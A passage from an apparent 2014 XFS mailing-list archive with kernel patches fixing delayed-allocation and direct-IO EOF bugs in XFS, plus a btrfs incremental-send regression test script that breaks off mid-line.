X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Al Viro tracked down the problem that has caused generic/263 to fail on XFS since the test was introduced. If is caused by xfs_get_blocks() mapping a single extent that spans EOF without marking it as buffer-new() so that the direct Io code does not zero the tail of the block at the new EOF. This is a long standing bug that has been around for many, many years. Because xfs_get_blocks() starts the map before EOF, it can't set buffer_new(), because that causes he direct Io code to also zero unaligned sectors at the head of the IO. This would overwrite valid data with zeros, and hence we cannot validly return a single extent that spans EOF to direct IO. Fix this by detecting a mapping that spans EOF and truncate it down to EOF. This results in the the direct IO code doing the right thing for unaligned data blocks before EOF, and then returning to get another mapping for the region beyond EOF which XFS treats correctly by setting buffer_new() on it. This makes direct Io behave correctly w.r.t. tail block zeroing beyond EOF, and fsx is happy about that. Again, thanks to Al Viro for finding what I couldn't. Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 8bbd8ba..d5702f0 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1344,6 +1344,14 @@ __xfs_get_blocks( /* * If this is O_DIRECT or the mpage code calling tell them how large * the mapping is, so that we can avoid repeated get_blocks calls. + * + * If the mapping spans EOF, then we have to break the mapping up as the + * mapping for blocks beyond EOF must be marked new so that sub block + * regions can be correctly zeroed. We can't do this for mappings within + * EOF unless the mapping was just allocated or is unwritten, otherwise + * the callers would overwrite existing data with zeros. Hence we have + * to split the mapping into a range up to and including EOF, and a + * second mapping for beyond EOF. */ if (direct || size > (1 << inode->i_blkbits)) { xfs_off_t mapping_size; @@ -1354,6 +1362,12 @@ __xfs_get_blocks( ASSERT(mapping_size > 0); if (mapping_size > size) mapping_size = size; + if (offset < i_size_read(inode) && + offset + mapping_size >= i_size_read(inode)) { + /* limit mapping to block that spans EOF */ + mapping_size = roundup(i_size_read(inode) - offset, + 1 << inode->i_blkbits); + } if (mapping_size > LONG_MAX) mapping_size = LONG_MAX; -- 1.9.0 From dave@fromorbit.com Fri Mar 21 05:12:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 41B9C7F3F for ; Fri, 21 Mar 2014 05:12:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 30B638F8068 for ; Fri, 21 Mar 2014 03:12:55 -0700 (PDT) X-ASG-Debug-ID: 1395396771-04cbb054b8565ca0002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id N5kSLZa36bB9A70i for ; Fri, 21 Mar 2014 03:12:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtVUAG4QLFN5LMWSPGdsb2JhbABZgwaIU7wrFwMBAQEBODWCJQEBBVYjEAgYMTkDBxQZh3jPaxePB4QiBKMiixkp Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 21 Mar 2014 20:42:22 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WQwQy-0008Jf-Sj; Fri, 21 Mar 2014 21:12:16 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WQwQy-00019u-Rr; Fri, 21 Mar 2014 21:12:16 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: Al@disappointment.disaster, Viro@disappointment.disaster, Subject: [PATCH 3/6] xfs: xfs_vm_write_end truncates too much on failure Date: Fri, 21 Mar 2014 21:11:47 +1100 X-ASG-Orig-Subj: [PATCH 3/6] xfs: xfs_vm_write_end truncates too much on failure Message-Id: <1395396710-3824-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1395396710-3824-1-git-send-email-david@fromorbit.com> References: <1395396710-3824-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395396773 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Similar to the write_begin problem, xfs-vm_write_end will truncate back to the old EOF, potentially removing page cache from over the top of delalloc blocks with valid data in them. Fix this by truncating back to just the start of the failed write. Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 6b4ecc8..8bbd8ba 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1631,9 +1631,12 @@ xfs_vm_write_begin( } /* - * On failure, we only need to kill delalloc blocks beyond EOF because they - * will never be written. For blocks within EOF, generic_write_end() zeros them - * so they are safe to leave alone and be written with all the other valid data. + * On failure, we only need to kill delalloc blocks beyond EOF in the range of + * this specific write because they will never be written. Previous writes + * beyond EOF where block allocation succeeded do not need to be trashed, so + * only new blocks from this write should be trashed. For blocks within + * EOF, generic_write_end() zeros them so they are safe to leave alone and be + * written with all the other valid data. */ STATIC int xfs_vm_write_end( @@ -1656,8 +1659,11 @@ xfs_vm_write_end( loff_t to = pos + len; if (to > isize) { - truncate_pagecache(inode, isize); + /* only kill blocks in this write beyond EOF */ + if (pos > isize) + isize = pos; xfs_vm_kill_delalloc_range(inode, isize, to); + truncate_pagecache_range(inode, isize, to); } } return ret; -- 1.9.0 From dave@fromorbit.com Fri Mar 21 05:12:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 694997F3F for ; Fri, 21 Mar 2014 05:12:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3692E8F8068 for ; Fri, 21 Mar 2014 03:12:56 -0700 (PDT) X-ASG-Debug-ID: 1395396769-04cbb054b9565c90004-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id UmtlqNtwmSR4WBW4 for ; Fri, 21 Mar 2014 03:12:54 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As1UAG4QLFN5LMWSPGdsb2JhbABZgwaIU7wrFwMBAQEBODWDAiMYFW0DBwaIH9ACjweEIgSsOYICKQ Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 21 Mar 2014 20:42:22 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WQwQy-0008Jc-RA; Fri, 21 Mar 2014 21:12:16 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WQwQy-00019h-Q1; Fri, 21 Mar 2014 21:12:16 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: Al@disappointment.disaster, Viro@disappointment.disaster, Subject: [RFC, PATCH 0/6] xfs: delalloc, DIO and corruption.... Date: Fri, 21 Mar 2014 21:11:44 +1100 X-ASG-Orig-Subj: [RFC, PATCH 0/6] xfs: delalloc, DIO and corruption.... Message-Id: <1395396710-3824-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395396774 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This patch series mostly shuts a can of worms that Al opened when he found the cause of the generic/263 fsx failures. The fix for that is patch 6 of this series, but, well, there are a bunch of other problems that need to be fixed before making that change. Basically, the direct Io block mapping behaviour was covering up a bunch of other bugs in the delayed allocation extent/page cache state coherency mappings. Essentially, we punch out the page cache in quite a few places without first cleaning up delayed allocation extents over that range and that exposes all sorts of nasty issues once the direct IO mapping changes are made. All of these are existing problems, most of them are very unlikely to be seen in the wild. This patch set passes xfstests on a 4k block size/4k page size config with out problems. However, there is still a fsx failure in generic/127 on 1k block size/4k page size configurations that I haven't yet tracked down. That test was failing occasionally before this patch set as well, so it may be a completely unrelated problem. The sad fact of this patchset is it is mostly playing whack-a-mole with visible symptoms of bugs. It drives home the fact that bufferheads and the keeping of internal filesystem state attached to the page cache simply isn't a verifiable architecture. After spending several days of doing nothing else but tracking down these inconsistencies i can only conclude that the code is complex, fragile and extremely difficult to verify that behaviour is correct. As such, I doubt that the fixes are entirely correct, so I'm left with using fsx and fsstress to tell me if I've broken anything. Eyeballs appreciated, as is test results. Cheers, Dave. From dave@fromorbit.com Fri Mar 21 05:12:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B4C0B7F63 for ; Fri, 21 Mar 2014 05:12:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A26918F8068 for ; Fri, 21 Mar 2014 03:12:53 -0700 (PDT) X-ASG-Debug-ID: 1395396769-04cbb054b9565c90002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id slOwUeTaR3w9Sm8H for ; Fri, 21 Mar 2014 03:12:51 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuNUAG4QLFN5LMWSPGdsb2JhbABZgwaIU7l3gjQXAwEBAQE4NYIlAQEFJy8jEAgYGBk5AwcUGYd40AKOHV6ELgSMc5MfjikpgS0 Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 21 Mar 2014 20:42:22 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WQwQy-0008Jh-TZ; Fri, 21 Mar 2014 21:12:16 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WQwQy-0001A4-So; Fri, 21 Mar 2014 21:12:16 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: Al@disappointment.disaster, Viro@disappointment.disaster, Subject: [PATCH 5/6] xfs: splitting delalloc extents can run out of reservation Date: Fri, 21 Mar 2014 21:11:49 +1100 X-ASG-Orig-Subj: [PATCH 5/6] xfs: splitting delalloc extents can run out of reservation Message-Id: <1395396710-3824-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1395396710-3824-1-git-send-email-david@fromorbit.com> References: <1395396710-3824-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395396771 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we punch a hole in a delalloc extent, we split the indirect block reservation between the two new extents. If we repeatedly punch holes in a large delalloc extent, that reservation will eventually run out and we'll assert fail in xfs_bunmapi() because the indirect block reservation for the delalloc extent is zero. This is caused by doing a large delalloc write, then zeroing multiple ranges of that write using fallocate to punch lots of holes in the delayed allocation range. To avoid this problem, if we split the reservation and require more indirect blocks for the two new extents than we had for the old reservation, steal the additional blocks from the hole we punched in the extent. In most cases we only need a single extra block, so even if we punch only single block holes we can still retain sufficient indirect block reservations to avoid problems. In doing this "stealing", we need to change where we account for the delalloc blocks being freed. The block count held on the inode does not take into account the indirect block reservation, so we still need to do that before we free the extent. However, the accounting ofr free space in the superblock need to be done after we've stolen the blocks fro the freed extent so that they are accounted for correctly. Signed-off-by: Dave Chinner --- fs/xfs/xfs_bmap.c | 65 ++++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 47 insertions(+), 18 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 5b6092e..4bf6a0e 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -4945,7 +4945,27 @@ xfs_bmap_del_extent( temp2 = xfs_bmap_worst_indlen(ip, temp2); new.br_startblock = nullstartblock((int)temp2); da_new = temp + temp2; + + /* + * Note: if we have an odd number of blocks reserved, + * then if we keep splitting the delalloc extent like + * this we end up with a delalloc indlen reservation of + * zero for one of the two extents. Hence if we end + * up with the new indlen reservations being larger than + * the old one, steal blocks from the data reservation + * we just punched out. Otherwise, just reduce the + * remaining indlen reservations alternately and hope + * next time we come here the range getting removed is + * large enough to fix this all up. + */ while (da_new > da_old) { + if (del->br_blockcount) { + /* steal a block */ + da_new--; + del->br_blockcount--; + continue; + } + if (temp) { temp--; da_new--; @@ -5255,24 +5275,6 @@ xfs_bunmapi( } if (wasdel) { ASSERT(startblockval(del.br_startblock) > 0); - /* Update realtime/data freespace, unreserve quota */ - if (isrt) { - xfs_filblks_t rtexts; - - rtexts = XFS_FSB_TO_B(mp, del.br_blockcount); - do_div(rtexts, mp->m_sb.sb_rextsize); - xfs_mod_incore_sb(mp, XFS_SBS_FREXTENTS, - (int64_t)rtexts, 0); - (void)xfs_trans_reserve_quota_nblks(NULL, - ip, -((long)del.br_blockcount), 0, - XFS_QMOPT_RES_RTBLKS); - } else { - xfs_icsb_modify_counters(mp, XFS_SBS_FDBLOCKS, - (int64_t)del.br_blockcount, 0); - (void)xfs_trans_reserve_quota_nblks(NULL, - ip, -((long)del.br_blockcount), 0, - XFS_QMOPT_RES_REGBLKS); - } ip->i_delayed_blks -= del.br_blockcount; if (cur) cur->bc_private.b.flags |= @@ -5302,6 +5304,33 @@ xfs_bunmapi( } error = xfs_bmap_del_extent(ip, tp, &lastx, flist, cur, &del, &tmp_logflags, whichfork); + /* + * xfs_bmap_del_extent may hand delayed alloc blocks back to the + * indirect block reservations to keep extent split reservations + * sane. Hence we should only decrement the delayed block count + * on the inode once we know exactly the amount of delalloc + * space we actually removed from the inode. + */ + if (wasdel && del.br_blockcount) { + /* Update realtime/data freespace, unreserve quota */ + if (isrt) { + xfs_filblks_t rtexts; + + rtexts = XFS_FSB_TO_B(mp, del.br_blockcount); + do_div(rtexts, mp->m_sb.sb_rextsize); + xfs_mod_incore_sb(mp, XFS_SBS_FREXTENTS, + (int64_t)rtexts, 0); + (void)xfs_trans_reserve_quota_nblks(NULL, + ip, -((long)del.br_blockcount), 0, + XFS_QMOPT_RES_RTBLKS); + } else { + xfs_icsb_modify_counters(mp, XFS_SBS_FDBLOCKS, + (int64_t)del.br_blockcount, 0); + (void)xfs_trans_reserve_quota_nblks(NULL, + ip, -((long)del.br_blockcount), 0, + XFS_QMOPT_RES_REGBLKS); + } + } logflags |= tmp_logflags; if (error) goto error0; -- 1.9.0 From fdmanana@gmail.com Fri Mar 21 07:51:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 972A47F69 for ; Fri, 21 Mar 2014 07:51:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4706E8F8064 for ; Fri, 21 Mar 2014 05:50:58 -0700 (PDT) X-ASG-Debug-ID: 1395406254-04bdf05dab7a59f0001-NocioJ Received: from mail-wg0-f42.google.com (mail-wg0-f42.google.com [74.125.82.42]) by cuda.sgi.com with ESMTP id M3kN2PjuWJScd9G6 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 21 Mar 2014 05:50:56 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.42 Received: by mail-wg0-f42.google.com with SMTP id y10so1557051wgg.25 for ; Fri, 21 Mar 2014 05:50:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=Oo5V/9OJS5KV+dfFxfpzUNi7U5Q9RRo/PMaV6XDhN8s=; b=1BOGJsMCPJl0VL0CzpC/loxIQhxH7yWpy2FnTp6BVMjvcz5lrRZd60vpTGpHIlBiyB CtVCrE67a0MI6qjhYEH9T7DGSe7kzrBAY8ah2nSRn5CxHsCmLnIQosZBkq0Fag0cSCOr KAfeHfkhcfZEpFpdERgOVUdUNTocR5fOmxsQKJ9WQR3kBjDTkVTiYiKxhfDM55j00XvR EICBBTtxkq7Nn4rX9A7uiXpKV0nIUpuyV4/M6FgUoc46D0eKO0Nc0iwehwnEXcCdBx5i ZVUXeEEdoBff/DTeySYLxaNP7Iv8+3bjL6XPNNx0scLgBx7I4pvBtOU6KTV7M3y+s30l 2Wig== X-Received: by 10.180.73.19 with SMTP id h19mr2103448wiv.40.1395406254405; Fri, 21 Mar 2014 05:50:54 -0700 (PDT) Received: from debian-vm3.lan (bl13-154-103.dsl.telepac.pt. [85.246.154.103]) by mx.google.com with ESMTPSA id ga10sm13032339wjb.23.2014.03.21.05.50.52 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 21 Mar 2014 05:50:53 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe David Borba Manana Subject: [PATCH v4] xfstests: add test for btrfs send regarding directory moves/renames Date: Fri, 21 Mar 2014 12:50:41 +0000 X-ASG-Orig-Subj: [PATCH v4] xfstests: add test for btrfs send regarding directory moves/renames Message-Id: <1395406241-8624-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.10.4 In-Reply-To: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> References: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wg0-f42.google.com[74.125.82.42] X-Barracuda-Start-Time: 1395406255 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4122 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue where the kernel failed to build paths strings. This resulted either in sending a wrong path string to the send stream or entering an infinite loop when building it. This happened in the following scenarios: 1) A directory was made a child of another directory which has a lower inode number and has a pending move/rename operation. This made the incremental send code go into an infinite loop when building a path string; 2) A directory was made a child of another directory which has a higher inode number, but the new parent wasn't moved nor renamed. Instead some other ancestor higher in the hierarchy, with an higher inode number too, was moved/renamed too. This made the incremental send code go into an infinite loop when building a path string; 3) An orphan directory is created and at least one of its non-immediate descendent directories have a pending move/rename operation. This made an incremental send issue to the send stream an invalid path string that didn't account for the orphan ancestor directory. This issue is fixed by the following linux kernel btrfs patches: Btrfs: fix incremental send's decision to delay a dir move/rename Btrfs: part 2, fix incremental send's decision to delay a dir move/rename Btrfs: send, account for orphan directories when building path strings Signed-off-by: Filipe David Borba Manana --- V2: Added more tests. V3: Added more tests for more complex cases. V4: Added more tests, related to case 3) mentioned above. tests/btrfs/045 | 254 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/045.out | 1 + tests/btrfs/group | 1 + 3 files changed, 256 insertions(+) create mode 100755 tests/btrfs/045 create mode 100644 tests/btrfs/045.out diff --git a/tests/btrfs/045 b/tests/btrfs/045 new file mode 100755 index 0000000..d95c493 --- /dev/null +++ b/tests/btrfs/045 @@ -0,0 +1,254 @@ +#! /bin/bash +# FS QA Test No. btrfs/045 +# +# Regression test for a btrfs incremental send issue where the kernel failed +# to build paths strings. This resulted either in sending a wrong path string +# to the send stream or entering an infinite loop when building it. +# This happened in the following scenarios: +# +# 1) A directory was made a child of another directory which has a lower inode +# number and has a pending move/rename operation. This made the incremental +# send code go into an infinite loop when building a path string; +# +# 2) A directory was made a child of another directory which has a higher inode +# number, but the new parent wasn't moved nor renamed. Instead some other +# ancestor higher in the hierarchy, with an higher inode number too, was +# moved/renamed too. This made the incremental send code go into an infinite +# loop when building a path string; +# +# 3) An orphan directory is created and at least one of its non-immediate +# descendent directories have a pending move/rename operation. This made +# an incremental send issue to the send stream an invalid path string that +# didn't account for the orphan ancestor directory. +# +# This issue is fixed by the following linux kernel btrfs patches: +# +# Btrfs: fix incremental send's decision to delay a dir move/rename +# Btrfs: part 2, fix incremental send's decision to delay a dir move/rename +# Btrfs: send, account for orphan directories when building path strings +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_fssum +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +# case 1), mentioned above +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/a/c +mkdir $SCRATCH_MNT/a/b/d +touch $SCRATCH_MNT/a/file1 +touch $SCRATCH_MNT/a/b/file2 +mv $SCRATCH_MNT/a/file1 $SCRATCH_MNT/a/b/d/file3 +ln $SCRATCH_MNT/a/b/d/file3 $SCRATCH_MNT/a/b/file4 +mkdir $SCRATCH_MNT/a/b/f +mv $SCRATCH_MNT/a/b $SCRATCH_MNT/a/c/b2 +touch $SCRATCH_MNT/a/c/b2/d/file5 + +# case 2), mentioned above +mkdir -p $SCRATCH_MNT/a/x1/x2 +mkdir $SCRATCH_MNT/a/Z +mkdir -p $SCRATCH_MNT/a/x1/x2/x3/x4/x5 + +# case 2) again, but a more complex scenario +mkdir -p $SCRATCH_MNT/_a/_b/_c/_d +mkdir $SCRATCH_MNT/_a/_b/_c/_d/_e +mkdir $SCRATCH_MNT/_a/_b/_c/_d/_f +mv $SCRATCH_MNT/_a/_b/_c/_d/_e $SCRATCH_MNT/_a/_b/_c/_d/_f/_E2 +mkdir $SCRATCH_MNT/_a/_b/_c/_g +mv $SCRATCH_MNT/_a/_b/_c/_d $SCRATCH_MNT/_a/_b/_D2 + +# case 3), mentioned above +mkdir -p $SCRATCH_MNT/za/zb/zc/zd +mkdir $SCRATCH_MNT/za/zb/ze +mv $SCRATCH_MNT/za/zb/zc $SCRATCH_MNT/za/zb/ze/zCC +mkdir $SCRATCH_MNT/za/zb/ze/zCC/zd/zf +mkdir $SCRATCH_MNT/za/zg + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# | |-- c/ (ino 259) +# | | |-- b2/ (ino 258) +# | | |-- d/ (ino 260) +# | | | |-- file3 (ino 261) +# | | | |-- file5 (ino 264) +# | | | +# | | |-- file2 (ino 262) +# | | |-- file4 (ino 261) +# | | |-- f/ (ino 263) +# | | +# | |-- x1/ (ino 265) +# | | |-- x2/ (ino 266) +# | | |-- x3/ (ino 268) +# | | |-- x4/ (ino 269) +# | | |-- x5/ (ino 270) +# | | +# | |-- Z/ (ino 267) +# | +# |-- _a/ (ino 271) +# | |-- _b/ (ino 272) +# | |-- _c/ (ino 273) +# | | |-- _g/ (ino 277) +# | | +# | |-- _D2/ (ino 274) +# | |-- _f/ (ino 276) +# | |-- _E2/ (ino 275) +# | +# |-- za/ (ino 278) +# |-- zb/ (ino 279) +# | |-- ze/ (ino 282) +# | |-- zCC/ (ino 280) +# | |-- zd/ (ino 281) +# | |-- zf/ (ino 283) +# | +# |-- zg/ (ino 284) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +# case 1), mentioned above +ln $SCRATCH_MNT/a/c/b2/file4 $SCRATCH_MNT/a/c/b2/f/file6 +mv $SCRATCH_MNT/a/c/b2/d/file5 $SCRATCH_MNT/a/c/file7 +touch $SCRATCH_MNT/a/c/b2/d/file8 +touch $SCRATCH_MNT/a/c/b2/file9 +ln $SCRATCH_MNT/a/c/b2/file9 $SCRATCH_MNT/a/c/b2/file10 +mv $SCRATCH_MNT/a/c/b2/f $SCRATCH_MNT/a/f2 +mv $SCRATCH_MNT/a/c $SCRATCH_MNT/a/c2 +mv $SCRATCH_MNT/a/c2/b2 $SCRATCH_MNT/a/f2/b3 +mv $SCRATCH_MNT/a/c2 $SCRATCH_MNT/a/f2/b3/c3 +touch $SCRATCH_MNT/a/f2/b3/c3/file11 +mv $SCRATCH_MNT/a $SCRATCH_MNT/a2 + +# case 2), mentioned above +mv $SCRATCH_MNT/a2/x1/x2/x3 $SCRATCH_MNT/a2/Z/X33 +mv $SCRATCH_MNT/a2/x1/x2 $SCRATCH_MNT/a2/Z/X33/x4/x5/X22 + +# case 2) again, but a more complex scenario +mkdir $SCRATCH_MNT/_a/_o +mv $SCRATCH_MNT/_a/_b/_c/_g $SCRATCH_MNT/_a/_b/_D2/_f/_G2 +mv $SCRATCH_MNT/_a/_b/_D2 $SCRATCH_MNT/_a/_b/_dd +mv $SCRATCH_MNT/_a/_b/_c $SCRATCH_MNT/_a/_C2 +mv $SCRATCH_MNT/_a/_b/_dd/_f $SCRATCH_MNT/_a/_o/_FF +mv $SCRATCH_MNT/_a/_b $SCRATCH_MNT/_a/_o/_FF/_E2/_BB + +# case 3), mentioned above +mkdir $SCRATCH_MNT/za/zg/zh +mv $SCRATCH_MNT/za/zb/ze $SCRATCH_MNT/za/zg/zh/zEE +mv $SCRATCH_MNT/za/zg/zh/zEE/zCC/zd 